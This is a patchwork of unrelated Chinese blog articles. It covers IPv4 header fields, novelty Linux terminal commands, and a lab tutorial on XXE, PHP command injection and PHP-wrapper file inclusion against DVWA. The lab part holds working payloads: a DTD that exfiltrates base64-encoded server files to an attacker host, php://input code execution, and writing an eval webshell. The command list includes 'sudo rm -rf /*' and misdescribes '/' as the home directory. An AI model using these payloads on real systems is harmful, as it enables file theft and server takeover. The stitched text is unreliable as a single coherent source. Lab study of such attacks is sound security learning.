先看下ip报头各部分所占内存大小的分布图:

然后下面是wireshack下捕获的包中的ip报头:

上面的结果是wireshack为了方便我们理解而产生的优化效果,其实它真正传输的内容是下面这串数据,一共57帧 20个字节的数据。

450000284f7740008006f4e7c0a800672f67c5fa

那我们去理解这串的内容呢?我把数据进行了分组,然后解释它的含义

1. 这个“4”代表的是协议的版本号(version);也就是表示下面使用的是ipv4版本的ip地址类型,它的二进制格式是“0100”,所占大小为4bit。

2. 这个“5”大小4bit,它的二进制是“0101”;代表IP包头长度(Header Length),也就是我们正在解释的这串数据的长度,这个字段的作用是为了描述IP包头的长度,因为在IP包头中有变长的可选部分。该部分占4个bit位,单位为32bit(4个字节),即本区域值= IP头部长度(单位为bit)/(8*4),因此,一个IP包头的长度最长为“1111”,即15*4=60个字节。IP包头最小长度为20字节。

3. “0000”表示的是服务类型(Type of Service,长度8比特。它的二进制是“00000000”,8位按位被如下定义 PPP D T R C 0,我们把它进行分成6组,分别解释

000(PPP)    0(D)   0(T)   0(R)   0(C)   0(O)

PPP:定义包的优先级
   000 普通 (Routine)
   001 优先的 (Priority)
   010 立即的发送 (Immediate)
   011 闪电式的 (Flash)
   100 比闪电还闪电式的 (Flash Override)
   101 CRI/TIC/ECP (不知道虾米意思)
   110 网间控制 (Internetwork Control)
   111 网络控制 (Network Control)

D 时延: 0:普通 1:尽量小
T 吞吐量: 0:普通 1:尽量大
R 可靠性: 0:普通 1:尽量大
M 传输成本: 0:普通 1:尽量小
0 最后一位被保留,恒定为0

4.“28”是16进制数,转换成10进制就是40,它代表IP包总长(Total Length):长度16比特。 以字节为单位计算的IP包的长度 (包括头部和数据),所以IP包最大长度65535字节。

5.“4f77是16进制数,10进制值是20343,代表(数据报ID):长度16比特。该字段和Flags和Fragment Offest字段联合使用,对大的上层数据包进行分段(fragment)操作。路由器将一个包拆分后,所有拆分开的小包被标记相同的值,以便目的端设备能够区分哪个包属于被拆分开的包的一部分

6.“4000”的二进制是“01000000 00000000”,所占大小2字节,它这里代表了两组参数,第一组占3个bit,第二组占13bit。

010(Flags)  0000000000000(Fragment Offset))

标记(Flags):长度3比特。该字段第一位不使用。第二位是DF(Don't Fragment)位,DF位设为1时表明路由器不能对该上层数据包分段。如果一个上层数据包无法在不分段的情况下进行转发,则路由器会丢弃该上层数据包并返回一个错误信息。第三位是MF(More Fragments)位,当路由器对一个上层数据包分段,则路由器会在除了最后一个分段的IP包的包头中将MF位设为1。

片偏移(Fragment Offset):长度13比特。表示该IP包在该组分片包中位置,接收端靠此来组装还原IP包。

7."80"代表的10进制数是128,它的含义是生存时间(TTL):长度8比特。当IP包进行传送时,先会对该字段赋予某个特定的值。当IP包经过每一个沿途的路由器的时候,每个沿途的路由器会将IP包的TTL值减少1。如果TTL减少为0,则该IP包会被丢弃。这个字段可以防止由于路由环路而导致IP包在网络中不停被转发。


8."06"表示的是下层协议是TCP协议(因为我抓的这个包是TCP包,他是一个三层协议的包,第一层是以太网包,第二层是IP包,第三层是TCP包)。

协议(Protocol):长度8比特。标识了上层所使用的协议。
以下是比较常用的协议号:
    1    ICMP
    2    IGMP
    6    TCP
   17   UDP
   88   IGRP
   89   OSPF

9."f4e7"代表头部校验(Header Checksum):大小16位,用来做IP头部的正确性检测,但不包含数据部分。 因为每个路由器要改
变TTL的值,所以路由器会为每个通过的数据包重新计算这个值。

10.起源和目标地址(Source and Destination Addresses):这两个地段都是32比特。标识了这个IP包的起源和目标地址。要注意除非使用NAT,否则整个传输的过程中,这两个地址不会改变。

关于它的计算,我以来源地址为例,首先把16进制数 c0a80067 转为10进制得到一个数 ‭3232235623‬,这是网络数字地址,它与IP地的关系为:

IP: 192.168.0.103     192*256^3 + 168*256^2 + 0*256^1 + 103*256*0 =  ‭3232235623‬(数字地址)

其他可选项(Options):这是一个可变长的字段。该字段属于可选项,主要用于测试,由起源设备根据需要改写。可选项目包含以下内容:
    松散源路由(Loose source routing):给出一连串路由器接口的IP地址。IP包必须沿着这些IP地址传送,但是允许在相继的两个IP地址之间跳过多个路由器。

    严格源路由(Strict source routing):给出一连串路由器接口的IP地址。IP包必须沿着这些IP地址传送,如果下一跳不在IP地址表中则表示发生错误。

    路由记录(Record route):当IP包离开每个路由器的时候记录路由器的出站接口的IP地址。

    时间戳(Timestamps):当IP包离开每个路由器的时候记录时间。

填充(Padding):因为IP包头长度(Header Length)部分的单位为32bit,所以IP包头的长度必须为32bit的整数倍。因此,在可选项后面,IP协议会填充若干个0,以达到32bit的整数倍。




部分参考:http://www.360doc.com/content/12/0329/14/9210126_198940526.shtml

提示:由于是转载,手机端看不了动态图,所以请在PC端阅览

1、黑客帝国字节数据流——假装自己是黑客高手,无孔不入

在命令行中输入以下命令安装并运行。

sudo apt-get install cmatrix
cmatrix

cmatrix字节流效果

还可输入参数控制颜色。

cmatric -C red

cmatrix红色字节流

ctrl+c退出。

在《黑客帝国》电影里的字节流其实是该片美术指导Simon
Whitley的日本妻子菜谱上的片假名。

2、高大上仪表盘blessed-contrib——假装自己指点江山,纵横捭阖

sudo apt-get install npm
sudo apt install nodejs-legacy
git clone https://github.com/yaronn/blessed-contrib.git
cd blessed-contrib
npm install
node ./examples/dashboard.js

高大上黑客仪表盘

blessed-contrib项目主页

建议在云服务器或虚拟机上运行这个命令,在树莓派上运行可能会出问题。

3、高大上仪表盘hollywood——假装自己日理万机,宵衣旰食

Dustin Kirkland
利用一个长途飞行的时间,编写了这个炫酷、有趣但也没什么实际作用的软件。

Ubuntu操作系统可以直接通过以下命令安装并运行。

sudo apt install hollywood
hollywood

在其它Linux发行版中,可以通过以下命令安装并运行。

sudo apt-add-repository ppa:hollywood/ppa
sudo apt-get install hollywood
sudo apt-get install byobu
hollywood

hollywood命令

hollywood命令

hollywood项目主页

4、追逐鼠标的小猫oneko

在桌面的命令行界面输入

sudo apt-get install oneko
oneko

然后输入oneko,即可看到效果。

ctrl+c退出。

注意,本命令只能在桌面所在的命令行界面输入,在远程ssh界面会显示“oneko:Can't
open display”

oneko命令:小猫追鼠标

5、ASCII艺术框:box命令

sudo apt-get install boxes
echo "Tongji Univerisity" | boxes
echo "Tongji Univerisity" | boxes -d dog
fortune | boxes -d cat | lolcat

box命令

6、燃起字符串大火aafire

在命令行界面输入

sudo apt-get install libaa-bin  
aafire

然后输入 aafire,即可看到效果

ctrl+c退出。

aafire字符串大火

7、火车:Strem Locomotive

在命令行界面输入

sudo apt-get install sl

然后输入 sl,即可看到效果。

sl命令:字符串火车

输入sl-h可以看到彩蛋(没有空格)

字符串火车命令彩蛋

这个命令其实是在用户把ls命令输错成sl命令的时候准备的彩蛋。

8、盯着鼠标看的大眼睛

在命令行界面输入

sudo apt-get install x11-apps

然后输入 xeyes,回车,即可看到效果:一双紧盯着鼠标所在位置的大眼睛。

ctrl+c退出。

xeyes大眼睛命令

9、艺术字生成器toilet

在命令行界面输入

sudo apt-get install toilet

然后输入下面任意一行命令,通过在命令中加-f更换字体或滤镜,你可以把命令里的Tongji University换成你想要转换的字符。

案例1

toilet Tongji University

toilet命令1

案例2 双色字:

toilet -f mono12 -F metal Tongji University

toilet命令双色字

案例3 彩色字:

toilet -f mono12 -F gay Tongji University

输入man toilet查看更多帮助,按q退出。

toilet命令彩色字

10、艺术字生成器figlet

在命令行界面输入

sudo apt-get install figlet

然后输入下面任意一行命令,通过在命令中加-f更换字体或滤镜,你可以把命令里的Tongji University换成你想要转换的字符。

figlet Tongji University

figlet命令1

11、字符串视频——回归计算机的上古时代

在命令行界面输入

sudo apt-get install bb

然后输入bb,选择y加音乐,选择8继续,即可看到一段用字符串制作的视频,讲述了视频作者的生涯和使用Linux操作系统的历程,这段视频制作于1997年,基于AAlib平台制作。

不知道为什么我这只有声音和乱码,没有动画

按ctrl+c退出。

12、输出名人名言、古诗词

在命令行界面输入

sudo apt-get install fortune fortune-zh

然后输入 fortune,即可看到效果。

fortune命令

可以把这个程序设置成每次开机自动启动,每次你登陆的时候就能看到一条新的名人名言或唐诗宋词了。

13、字符串水族馆:ASCIIquarium

第一步:安装各种依赖

sudo apt-get install libcurses-perl
cd /tmp

wget http://search.cpan.org/CPAN/authors/id/K/KB/KBAUCOM/Term-Animation-2.4.tar.gz

tar -zxvf Term-Animation-2.4.tar.gz
cd Term-Animation-2.4/

sudo perl Makefile.PL &&  make &&   make test

sudo make install

第二步:安装软件

cd /tmp
sudo wget https://robobunny.com/projects/asciiquarium/asciiquarium.tar.gz

如果显示文件下载失败,可以点击https://robobunny.com/projects/asciiquarium/asciiquarium.tar.gz下载压缩包,然后通过FileZilla等文件远程传输软件传输到/tmp文件夹中。

然后继续执行下列命令。

tar -zxvf asciiquarium.tar.gz
cd asciiquarium_1.1/
sudo cp asciiquarium /usr/local/bin
sudo chmod 0755 /usr/local/bin/asciiquarium
asciiquarium

字符串水族馆

ASCIIquarium项目主页

14、会说话的牛

在命令行界面输入

sudo apt-get install cowsay

然后输入 cowsay “Hello Tongji Univerisity”

cowsay命令

只需用 -l参数就能看到它能提供的所有动物。

cowsay -l

会输出如下人物,你可以通过-f参数加人物名字来更换说话人物:

# Cow files in /usr/share/cowsay/cows:
apt beavis.zen bong bud-frogs bunny calvin cheese cock cower daemon default
dragon dragon-and-cow duck elephant elephant-in-snake eyes flaming-sheep
ghostbusters gnu head-in hellokitty kiss kitty koala kosh luke-koala
mech-and-cow meow milk moofasa moose mutilated pony pony-smaller ren sheep
skeleton snowman sodomized-sheep stegosaurus stimpy suse three-eyes turkey
turtle tux unipony unipony-smaller vader vader-koala www

比如更换成hellokitty:

cowsay -f dragon 'Hello Tongji Univerisity'

更换说话的动物

也可以利用管道命令,将fortune生成的名人名言在cowsay中输出

fortune | cowsay

加个颜色

sudo apt install lolcat

利用管道命令,让彩色的恐龙大哥说彩色的唐诗:

fortune | cowsay -f stegosaurus | lolcat

利用管道命令让彩色动物说话

15、会说话的牛2

注意,本命令只能在桌面所在的命令行界面输入,在远程ssh命令行界面输入会显示“Can't
open display”

在命令行界面输入

sudo apt-get install xcowsay

然后输入 xcowsay “Hello Tongji Univerisity欢迎来同济大学”

xcowsay说中文

16、日历

直接在命令行界面输入

cal 12 2018

即可看到2018年12月的日历。

日历命令

有趣的是,如果你输入。

cal 9 1752

你会发现这个月少了11天,这是因为当时大英帝国美洲殖民地的历法从凯撒历法换成了格里高利历法,凯撒历法要迟11天,所以这11天成了日历上的空白期。

1752年9月为什么少了11天?

17、yes命令

直接在命令行界面输入

yes Tongji University
yes Tongji University | lolcat

就会看到无穷无尽输出的Tongji University

ctrl+c退出。

yes命令

18、分解因数

在命令行界面输入

factor 60

即可看到60的分解质因数的结果

factor命令:分解质因数

19、screenfetch:显示系统、主题信息

sudo apt install screenfetch
screenfetch

在开源社区或程序员社区提问时,可以通过这条命令,直接截图,就能很清晰地描述自己的系统环境。

在Ubuntu云服务器上运行:

在Ubuntu云服务器上运行screenfetch命令

在树莓派上运行:

树莓派上运行screenfetch命令

20、linux各发行版logo图片及系统信息

sudo apt install linuxlogo
linux_logo
linux_logo -f -L list
sudo apt-get install neofetch
neofetch

在ubuntu云服务器上运行linux_logo

在ubuntu云服务器上运行linux_logo

在树莓派上运行linux_logo

在树莓派上运行linux_logo命令

所有支持打印logo的linux发行版

循环打印所有支持打印的图标

for i in {1..30};do linux_logo -f -L $i;sleep 0.5;done

打印所有支持的logo

21、图片转ASCII画风

这条命令在树莓派上运行会出问题,建议在云主机或虚拟机上运行。

sudo apt-get install aview imagemagick

wget http://labfile.oss.aliyuncs.com/courses/1/Linus.png

asciiview Linus.png

Linux之父:Linus的照片

你可以把wget后面的链接换成任意图片的URL。

比如

wget http://www.shumeipai.wang/bingbingbing.jpg
asciiview bingbingbing.jpg

范冰冰照片ASCII字符串处理

22、反转字符命令

在命令行中输入rev,打开rev界面,然后输入任意字符,比如

I am a student in Tongji Univerisity

按回车,即可看到字符反转之后的结果

ctrl+c退出rev界面回到命令行界面。

echo "I am a student in Tongji Univerisity" | rev

将一句话中所有单词的顺序反转,但在单词内部字母顺序不变

echo "I am a student in Tongji University" | rev | tr ' ' '\n' | tac | tr '\n' ' '| rev

rev命令

23、打字机pv命令:字幕一个个匀速显示出来

sudo apt-get install pv
echo "Tongji Opensource" | pv -qL 10
cal | pv -qL 10

pv打字机命令

24、从删库到跑路 sudo rm -rf /*

sudo rm -rf<br />
/ sudo rm -rf /

友情提示:千万不要轻易尝试这个命令,特别是在运行有网站服务器、数据库的Linux主机上

sudo rm -rf /*

  • sudo:获取root管理员权限
  • rm:remove,即删除
  • -rf:r表示递归删除,即删除所有的子目录,f表示不需要再进行确认
  • /:home目录
  • *:所有文件

也就是说,这条命令是删除这台Linux主机上的所有文件,甚至包括开机文件

关于这条命令的一些有趣的图片:

删库大爆炸

从删库到跑路1

数据库删了肯定要跑路啊

从删库到跑路2

25、播放星球大战

这条命令在windows上都可以运行

1、打开控制面板,找到”启动或关闭Windows功能“,然后打开Telnet客户端。

控制面板

打开Telnet应用

2、用管理员模式打开DOS命令行界面,输入以下命令,回车。

进入windows命令行

telnet towel.blinkenlights.nl

字符串星球大战

字符串星球大战

26、让命令行说话

运行这个命令不能通过远程连接,必须通过音响

sudo apt install espeak
espeak 'Hello my dariling'

27、随机产生人名与地址

sudo apt-get install rig
rig

rig命令

28、超级牛力——包管理器的彩蛋

在Ubuntu和Debian上,apt-get包管理器内嵌着一个彩蛋。
如果你在命令行界面输入

apt-get help

在最后一行能找到

This APT has Super Cow Powers。

本APT具有超级牛力。

则说明你的系统可以运行这个菜单。

"超级牛力"彩蛋

在命令行界面输入

apt-get moo

即可看到这个彩蛋。

aptitiude包管理器也有类似的彩蛋

aptitude moo
aptitude moo -vv
aptitude moo -vvv
aptitude moo -vvvv
aptitude moo -vvvvv
aptitude moo -vvvvvv

apititude包管理器彩蛋

这个彩蛋的灵感来自于法国作家安托万·德·圣·埃克苏佩里童话小说《小王子》的第一章

小王子插图:法国作家安托万·德·圣·埃克苏佩里童话小说

29、命令行游戏bastet:俄罗斯方块

sudo apt install bastet
bastet

左右键控制方块移动,上键控制方块旋转。

命令行游戏bastet:俄罗斯方块

30、命令行游戏ninvaders:太空入侵者

sudo apt-get install ninvaders
ninvaders

按空格键发射子弹。

命令行游戏ninvaders:太空入侵者

31、命令行游戏pacman4console:吃豆人

sudo apt-get install pacman4console
pacman4console

使用方向键控制移动。

命令行游戏pacman4console:吃豆人

32、命令行游戏nSnake:贪吃蛇

sudo apt-get install nsnake
nsnake

使用方向键控制。

nSnake贪吃蛇命令行小游戏

33、命令行游戏Greed:赢者通吃

sudo apt-get install greed
greed

数字表示下一步可前进的步数,游戏的目标是在咬到自己尾巴之前尽可能多走几步。

命令行游戏Greed:赢者通吃

34、命令行游戏Air Traffic Controller:空中塔台控制

sudo apt-get install bsdgames
atc

在玩之前,你可以先输入man atc查看这个游戏的说明文档。游戏的目标是通过一系列命令输入,引导飞机起飞和降落,进行空中塔台调度。

空中塔台调度游戏atc

35、命令行游戏backgammon:双陆棋

sudo apt-get install bsdgames
backgammon

这是一款1997年制作的老游戏,游戏开始的时候可以阅读相关规则介绍。

命令行游戏双陆棋

36、命令行游戏moonbuggy:月球战车

sudo apt-get install moon-buggy
moon-buggy

命令行游戏moonbuggy:月球战车

37、命令行游戏2048

wget https://raw.githubusercontent.com/mevdschee/2048.c/master/2048.c
gcc -o 2048 2048.c
./2048

命令行游戏2048

38、命令行也能联机玩网游:Tron

ssh sshtron.zachlatta.com

使用wasd四个键控制蛇的移动,游戏的目标是既不要咬到别人也不要咬到自己,活着的时间越长分数越高。

命令行也能联机玩网游:Tron

39、命令行游戏:巨洞冒险

巨洞冒险Colossal Cave Adventure,又名 ADVENT、Clossal Cave 或
Adventure,是八十年代初到九十年代末最受欢迎的基于文字的冒险游戏。在 1976
年,一个叫 Will Crowther
的程序员开发了这款游戏的一个早期版本,之后另一位叫 Don Woods
的程序员改进了这款游戏,为它添加了许多新元素,包括计分系统以及更多的幻想角色和场景。这款游戏最初是为
PDP-10
开发的,这是一种历史悠久的大型计算机。后来,它被移植到普通家用台式电脑上,比如
IBM PC 和 Commodore 64。游戏的最初版使用 Fortran
开发,之后在八十年代初它被微软加入到 MS-DOS 1.0 当中。

游戏的主要目标是找到一个传言中藏有大量宝藏和金子的洞穴并活着离开它。这款游戏的灵感主要来源于原作者
Will Crowther
丰富的洞穴探索的经历。他曾经经常在洞穴中冒险,特别是肯塔基州的猛犸洞Mammoth
Cave。因为游戏中的洞穴结构大体基于猛犸洞,你也许会注意到游戏中的场景和现实中的猛犸洞的相似之处。

sudo apt-get install python3-yaml libedit-dev
sudo pip3 install PyYAML
git clone https://gitlab.com/esr/open-adventure.git
cd open-adventure
make
make check
advent

命令行游戏巨洞冒险

40、打印圆周率后小数点若干位

sudo apt-get install pi
pi 50

打印小数点后若干位的圆周率。

圆周率小数点后若干位




作者:人工智能小技巧
链接:https://www.jianshu.com/p/dd24e4227deb
来源:简书

关于XXE漏洞的原理我这里不做过多的叙述

有回显的情况下读数据

按照网页的提示输入指定格式的数据,显示出来我们在xml中标记的字符串“Hello World”

尝试XML头部自定义引用,可以看到成功了,关于这个xml实体引用的原理,我推荐大家去看下xml的文档说明,这样挖洞才做到知己知彼

其实内部实体引用是几乎没有危害的,因为它能干的事情很少,真正可怕的是的外部实体引用和DTD引用,它会造成权限范围内的任意文件读取和远程代码执行。

关于外部实体引用其实和内部的原理差不多,只不过引用的外部需要用 "SYSTEM"标记,比如我在网站根目录放个记事本文件,然后去引用

可以看到里面的内容,而且路径是可控的,这是不是类似于文件包含读文件。

我在网站目录下还放了个info.php文件,我们照样去引用一下

出现报错,原因是提交后xml程序会解析文件里面的内容,然后xml标记是以尖括号开头和结尾的,php程序也是,当xml解析到尖括号时就会出错

那么解决的办法是什么呢?其实跟我们的文件包含读文件一样,可以通过编码转换的方式去读取文件。

解密后可以还原内容

没有回显的情况下读数据

其实大多情况下xml外部实体引用是没有回显结果的,那这种情况下我们怎么获取到信息呢?我们可以采用DTD引用的方法。

比如我自定义了一个xml.php程序,用于接收xml类型的数据

<?php
    libxml_disable_entity_loader (false);
    //若为true,则表示禁用外部实体
    $xmlfile = file_get_contents('php://input');
    //可以获取POST来的数据
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

不传数据或者传的数据不是xml格式的时候会报错

当传的数据是xml时则没有报错,但是却没有回显

然后尝试外部实体引用,没有报错,说明可以成功,但是没有回显,这可愁坏了人

那这里我们可以使用自定义的DTD引用,关于DTD的用法大家可以去自行百度

我在一台服务器上放了个test.dtd,内容如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/phpStudy/PHPTutorial/WWW/info.php">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://192.168.0.106:9999??p=%file;'>">

它的作用是,当被引用时,就通过base64编码读取指定文件,并且发送到192.168.0.106的9999端口,其中192.168.0.106是我的kali_linux,我使用nc来监听9999端口接收数据。

其中需要给xml.php发送的post数据为:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root[
<!ENTITY % xxe SYSTEM "http://192.168.0.102/test.dtd">
%xxe;%int;%send;]>

就只是调用test.dtd而已

当发送数据包后,会建立一个与kali的连接,把结果发给kali的9999端口:

解码即可得到信息

命令注入(Command Injection),对一些函数的参数没有做过滤或过滤不严导致的,可以执行系统或者应用指令(CMD命令或者 bash 命令)的一种注入攻击手段。

常见的执行系统命令的函数有 以下几种

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

system()函数

string system ( string $command [, int &$return_var ] )

$command为执行的命令,&return_var可选,用来存放命令执行后的状态码

system()函数执行有回显,将执行结果输出到页面上

<?php
	system("whoami");
?>

passthru()函数

void passthru ( string $command [, int &$return_var ] )

system函数类似,$command为执行的命令,&return_var可选,用来存放命令执行后的状态码

执行有回显,将执行结果输出到页面上

<?php
	passthru("whoami");
?>

exec()函数

string exec ( string $command [, array &$output [, int &$return_var ]] )

$command是要执行的命令

$output是获得执行命令输出的每一行字符串,$return_var用来保存命令执行的状态码(检测成功或失败)

exec()函数执行无回显,默认返回最后一行结果

<?php
	echo exec("whoami");
?>

<?php  
$test = "ipconfig";   
exec($test,$array);      
print_r($array);  
?>

shell_exec()函数

string shell_exec( string &command)

&command是要执行的命令

shell_exec()函数默认无回显,通过 echo 可将执行结果输出到页面

<?php
	echo shell_exec("whoami");
?>

反引号 ` 

shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体,当禁用shell_exec时,` 也不可执行

在php中称之为执行运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

<?php
	echo `whoami`;
?>

popen()函数

resource popen ( string $command , string $mode )

函数需要两个参数,一个是执行的命令command,另外一个是指针文件的连接模式mode,有r和w代表读和写。

函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。

popen()打开一个指向进程的管道,该进程由派生给定的command命令执行而产生。

返回一个和fopen()所返回的相同的文件指针,只不过它是单向的(只能用于读或写)并且必须用pclose()来关闭。

此指针可以用于fgets(),fgetss()和 fwrite()

<?php popen( 'whoami >> c:/1.txt', 'r' ); ?>


<?php  
$test = "ls /tmp/test";  
$fp = popen($test,"r");  //popen打一个进程通道  
  
while (!feof($fp)) {      //从通道里面取得东西  
 $out = fgets($fp, 4096);  
 echo  $out;         //打印出来  
}  
pclose($fp);  
?> 

proc_open()函数

resource proc_open ( 
string $cmd , 
array $descriptorspec , 
array &$pipes [, string $cwd [, array $env [, array $other_options ]]] 
)

Popen函数类似,但是可以提供双向管道

<?php  
$test = "ipconfig";  
$array =   array(  
 array("pipe","r"),   //标准输入  
 array("pipe","w"),   //标准输出内容  
 array("pipe","w")    //标准输出错误  
 );  
  
$fp = proc_open($test,$array,$pipes);   //打开一个进程通道  
echo stream_get_contents($pipes[1]);    //为什么是$pipes[1],因为1是输出内容  
proc_close($fp);  
?> 

pcntl_exec()函数

void pcntl_exec ( string $path [, array $args [, array $envs ]] )

path是可执行二进制文件路径或一个在文件第一行指定了 一个可执行文件路径标头的脚本
args是一个要传递给程序的参数的字符串数组。

pcntl是linux下的一个扩展,需要额外安装,可以支持 php 的多线程操作。

pcntl_exec函数的作用是在当前进程空间执行指定程序,版本要求:PHP > 4.2.0

对这些危险函数,可以在php.ini中禁用,进行安全加固

文章出处

file:// 协议

条件

  • allow_url_fopen:off/on
  • allow_url_include :off/on

作用
用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的

说明
file:// 文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如 fopen() 和 file_get_contents(),include_path 会可选地搜索,也作为相对的路径。

用法

/path/to/file.ext
relative/path/to/file.ext
fileInCwd.ext
C:/path/to/winfile.ext
C:\path\to\winfile.ext
\\smbserver\share\path\to\winfile.ext
file:///path/to/file.ext

示例

1. file://[文件的绝对路径和文件名]

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=file://C:\info.txt

2. [文件的相对路径和文件名]

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=../../../../../../info.txt

3. [http://网络路径和文件名] ,也就是远程包含

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=http://127.0.0.1/info.jpg

php:// 协议

条件

  • allow_url_fopen:off/on
  • allow_url_include :仅php://input php://stdin php://memory php://temp 需要on

作用
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

说明
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符,
内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

协议作用
php://input可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在enctype="multipart/form-data" 的时候php://input 是无效的。
php://output只写的数据流,允许以 print 和 echo 一样的方式写入到输出缓冲区。
php://fd(>=5.3.6)允许直接访问指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
php://memory php://temp(>=5.1.0)一个类似文件包装器的数据流,允许读写临时数据。两者的唯一区别是 php://memory 总是把数据储存在内存中,而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。临时文件位置的决定和 sys_get_temp_dir() 的方式一致。
php://filter(>=5.0.0)一种元封装器,设计用于数据流打开时的筛选过滤应用。对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。

php://filter参数详解

该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递。具体参考如下:

php://filter 参数描述
resource=<要过滤的数据流>必须项。它指定了你要筛选过滤的数据流。
read=<读链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(*\ *)分隔。
write=<写链的过滤器>可选项。可以设定一个或多个过滤器名称,以管道符(\ )分隔。
<; 两个链的过滤器>任何没有以 read= 或 write= 作前缀的筛选器列表会视情况应用于读或写链。

可用的过滤器列表(4类)

字符串过滤器作用
string.rot13等同于str_rot13(),rot13变换
string.toupper等同于strtoupper(),转大写字母
string.tolower等同于strtolower(),转小写字母
string.strip_tags等同于strip_tags(),去除html、PHP语言标签

转换过滤器作用
convert.base64-encode & convert.base64-decode等同于base64_encode()和base64_decode(),base64编码解码
convert.quoted-printable-encode & convert.quoted-printable-decodequoted-printable 字符串与 8-bit 字符串编码解码

压缩过滤器作用
zlib.deflate & zlib.inflate在本地文件系统中创建 gzip 兼容文件的方法,但不产生命令行工具如 gzip的头和尾信息。只是压缩和解压数据流中的有效载荷部分。
bzip2.compress & bzip2.decompress同上,在本地文件系统中创建 bz2 兼容文件的方法。

加密过滤器作用
mcrypt.*libmcrypt 对称加密算法
mdecrypt.*libmcrypt 对称解密算法

示例

1.php://filter/read=convert.base64-encode/resource=[文件名]读取文件源码(针对php文件需要base64编码)

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=php://filter/read=convert.base64-encode/resource=index.php

去base64解码后即可得到指定php文件的内容

2.php://input + [POST DATA]执行php代码

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=php://input
[POST DATA部分]
<?php phpinfo(); ?>

3. 若有写入权限,写入一句话木马

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_POST['xss'])?>");?>

zip:// & bzip2:// & zlib:// 协议

条件

  • allow_url_fopen:off/on
  • allow_url_include :off/on

作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。

示例

  1. zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=zip://c:/info.zip%23info.php

2.compress.bzip2://file.bz2

压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

3.compress.zlib://file.gz

压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)

http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

data:// 协议

条件

  • allow_url_fopen:on
  • allow_url_include :on

作用:自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法

data://text/plain,
data://text/plain;base64,

示例

1.data://text/plain,

http://192.168.0.101/dvwa/vulnerabilities/fi/index.php?page=data:text/plain,%3C?php%20phpinfo();?%3E;?>

2.data://text/plain;base64,

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

http:// & https:// 协议

条件

  • allow_url_fopen:on
  • allow_url_include :on

作用:常规 URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源。CTF中通常用于远程包含。

用法

http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:password@example.com
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:password@example.com

示例

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

phar:// 协议

phar://协议与zip://类似,同样可以访问zip格式压缩包内容,在这里只给出一个示例:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

另外在 Black Hat 2018 大会上,研究人员公布了一款针对PHP应用程序的全新攻击技术:phar://协议对象注入技术

因为该利用点需要满足一定的条件才能利用,可以参考下面这篇文章,里面的demo也非常详细,留作以后专门研究一下。seebug - 利用 phar 拓展 php 反序列化漏洞攻击面




文章出处